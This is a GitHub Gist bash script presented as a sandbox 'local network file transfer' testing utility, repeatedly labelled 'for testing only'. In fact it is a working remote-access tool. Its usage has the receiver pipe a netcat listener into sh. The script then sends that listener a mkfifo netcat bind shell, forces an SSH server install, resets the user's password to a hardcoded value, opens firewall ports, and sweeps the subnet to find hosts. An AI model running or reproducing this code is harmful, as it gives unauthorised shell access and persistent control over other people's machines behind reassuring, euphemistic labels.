Last active
January 18, 2025 22:06
-
-
Save essingen123/7c68a5b9c8fd9122746809dbed35208c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# bash_local_test_network.sh | |
# | |
# Purpose: | |
# Testing utility for local network file transfers in sandbox environments. | |
# STRICTLY FOR TESTING AND LEARNING - NOT FOR ACTUAL USE. | |
# | |
# Features: | |
# - Network validation | |
# - Automated setup | |
# - Port checking | |
# - Basic logging | |
# | |
# Environment: | |
# - Sandbox/VM testing only | |
# - Local development | |
# - Learning environments | |
# - Practice setups | |
# | |
# NOT for: | |
# - Real networks | |
# - Production use | |
# - Actual deployments | |
# - Any non-testing scenario | |
# | |
# Requirements: | |
# - Testing/sandbox environment only | |
# - Root access in test environment | |
# - Ubuntu/Debian-based test systems | |
# | |
# TESTING NOTICE: | |
# - For sandbox environments only | |
# - Not for actual network use | |
# - Testing and learning purposes only | |
# - Use exclusively in isolated test setups | |
# | |
# Usage: | |
# 1. On receiver: sudo nc -lv 32 | sh | |
# 2. On sender: Run this script | |
# 3. Use 'ip a' to identify the receiver's IP address first | |
echo "⚠️ For testing purposes only. Use exclusively in a sandbox or test network." | |
read -p "❓ Proceed? (y/n): " proceed | |
if [[ "$proceed" != "y" ]]; then | |
echo "❌ Operation canceled. Exiting." | |
exit 1 | |
fi | |
# Settings - MODIFY THESE VALUES | |
DEFAULT_ACCESS="ChangeThis_AfterSetup!" # Update this! | |
RECEIVER_IP="192.168.1.100" # Replace with actual IP | |
PRIMARY_PORT=32 # Must match receiver's nc port | |
SECONDARY_PORT=33 # For additional connection | |
CONNECT_PORT=22 # Standard port | |
TIMEOUT_SECONDS=5 # Connection timeout | |
LOG_FILE="network_connect.log" # Log file for troubleshooting | |
# Check for local network | |
is_local_ip() { | |
local ip=$1 | |
if [[ $ip =~ ^(192\.168\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|10\.) ]]; then | |
return 0 | |
else | |
echo "❌ ERROR: IP $ip is not in local network range!" | |
echo "This script is for local network use only!" | |
exit 1 | |
fi | |
} | |
# Validate IP address format | |
validate_ip() { | |
local ip=$1 | |
if [[ ! $ip =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then | |
echo "❌ Invalid IP address format!" | |
exit 1 | |
fi | |
} | |
# Progress indicator | |
show_progress() { | |
local pid=$1 | |
local spinstr='⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏' | |
while kill -0 "$pid" 2>/dev/null; do | |
local temp=${spinstr#?} | |
printf " [%c] " "$spinstr" | |
local spinstr=$temp${spinstr%"$temp"} | |
sleep 0.1 | |
printf "\b\b\b\b\b\b" | |
done | |
printf " \b\b\b\b" | |
} | |
# Check for sshpass installation | |
if ! command -v sshpass >/dev/null; then | |
echo "❌ sshpass not found. Installing..." | |
sudo apt-get update && sudo apt-get install -y sshpass | |
fi | |
# Format check | |
validate_format() { | |
local input=$1 | |
if [[ ${#input} -lt 8 || ! $input =~ [A-Z] || ! $input =~ [a-z] || ! $input =~ [0-9] ]]; then | |
echo "❌ Input must be at least 8 characters with uppercase, lowercase, and numbers." | |
exit 1 | |
fi | |
} | |
# Port setup | |
setup_ports() { | |
echo "🔧 Setting up ports..." | |
sudo ufw allow "$PRIMARY_PORT" | |
sudo ufw allow "$SECONDARY_PORT" | |
sudo ufw allow "$CONNECT_PORT" | |
sudo ufw reload | |
} | |
# Generate connection keys | |
setup_connection() { | |
echo "🔑 Setting up connection..." | |
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa -N "" -q | |
sshpass -p "$DEFAULT_ACCESS" ssh-copy-id -i ~/.ssh/id_rsa.pub "$RECEIVER_IP" | |
echo "✅ Connection setup complete." | |
} | |
# Logging | |
trap "echo 'Cleaning up...'; rm -f /tmp/f; pkill -f 'nc -l'; exit 1" INT TERM | |
log() { | |
local message=$1 | |
echo "$(date '+%Y-%m-%d %H:%M:%S') - $message" >> "$LOG_FILE" | |
} | |
# Test connection | |
if ! ping -c 1 -W $TIMEOUT_SECONDS "$RECEIVER_IP" >/dev/null 2>&1; then | |
echo "❌ Receiver IP $RECEIVER_IP not responding. Checking network..." | |
subnet=$(echo "$RECEIVER_IP" | awk -F. '{print $1"."$2"."$3}') | |
active_ips=() | |
for ip in {1..254}; do | |
echo -ne "\r🔍 Checking: ${subnet}.${ip} " | |
if ping -c 1 -W 1 "${subnet}.${ip}" >/dev/null 2>&1; then | |
active_ips+=("${subnet}.${ip}") | |
fi | |
done | |
echo -e "\r🎯 Found IPs: ${active_ips[*]}" | |
RECEIVER_IP=${active_ips[0]} | |
echo "🌐 Using ${RECEIVER_IP}" | |
fi | |
# Check ports | |
echo "🚪 Checking ports on $RECEIVER_IP..." | |
for port in $PRIMARY_PORT $SECONDARY_PORT $CONNECT_PORT; do | |
echo -ne "\r🔍 Testing port: $port " | |
if nc -z -w1 "$RECEIVER_IP" "$port" 2>/dev/null; then | |
echo -e "\r✅ Port $port is available on $RECEIVER_IP." | |
else | |
echo -e "\r⚠️ Port $port is not available on $RECEIVER_IP." | |
fi | |
done | |
# Initial notice | |
echo "⚠️ TESTING NOTICE:" | |
echo "This script creates test connections." | |
echo "Use in sandbox environments only!" | |
echo "Press Ctrl+C now if unsure." | |
sleep 3 | |
# Validate settings | |
validate_ip "$RECEIVER_IP" | |
is_local_ip "$RECEIVER_IP" | |
# Check availability | |
echo "🔍 Checking connection to $RECEIVER_IP..." | |
if ! ping -c 1 -W $TIMEOUT_SECONDS "$RECEIVER_IP" >/dev/null 2>&1; then | |
echo "❌ No response! Check connection." | |
exit 1 | |
fi | |
# Setup connection | |
echo "🔌 Setting up test connection to $RECEIVER_IP:$PRIMARY_PORT..." | |
nc -v "$RECEIVER_IP" "$PRIMARY_PORT" <<EOF | |
cd ~/ || mkdir -p ~/test_transfer | |
echo "🔧 Setting up test environment..." | |
rm -rf /tmp/f | |
mkfifo /tmp/f | |
cat /tmp/f | sh -i 2>&1 | nc -l "$SECONDARY_PORT" > /tmp/f & | |
# Setup connection service | |
if ! command -v sshd >/dev/null; then | |
sudo apt-get update && sudo apt-get install -y openssh-server | |
sudo systemctl start ssh | |
sudo systemctl enable ssh | |
fi | |
# Set access key | |
echo -e "${DEFAULT_ACCESS}\n${DEFAULT_ACCESS}" | sudo passwd "\$(whoami)" | |
echo "✅ Setup complete. UPDATE ACCESS KEY!" | |
exit | |
EOF | |
# Test connection | |
echo "🔄 Testing setup..." | |
sleep 2 | |
if sshpass -p "$DEFAULT_ACCESS" ssh -o StrictHostKeyChecking=no -o ConnectTimeout="$TIMEOUT_SECONDS" \ | |
"$RECEIVER_IP" 'echo "TEST_OK"' 2>/dev/null | grep -q "TEST_OK"; then | |
echo "✅ Connection working!" | |
echo "➡️ Use: sshpass -p '$DEFAULT_ACCESS' ssh $(whoami)@$RECEIVER_IP" | |
echo "⚠️ Update access key after connecting!" | |
else | |
echo "❌ Setup incomplete. Check status." | |
fi | |
# Final reminders | |
echo "🔧 SETUP REMINDERS:" | |
echo "1. Update the default access key" | |
echo "2. Stop service when done: sudo systemctl stop ssh" | |
echo "3. Check status with: netstat -tuln" | |
echo "4. Transfer files with: scp or rsync" | |
exit 0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment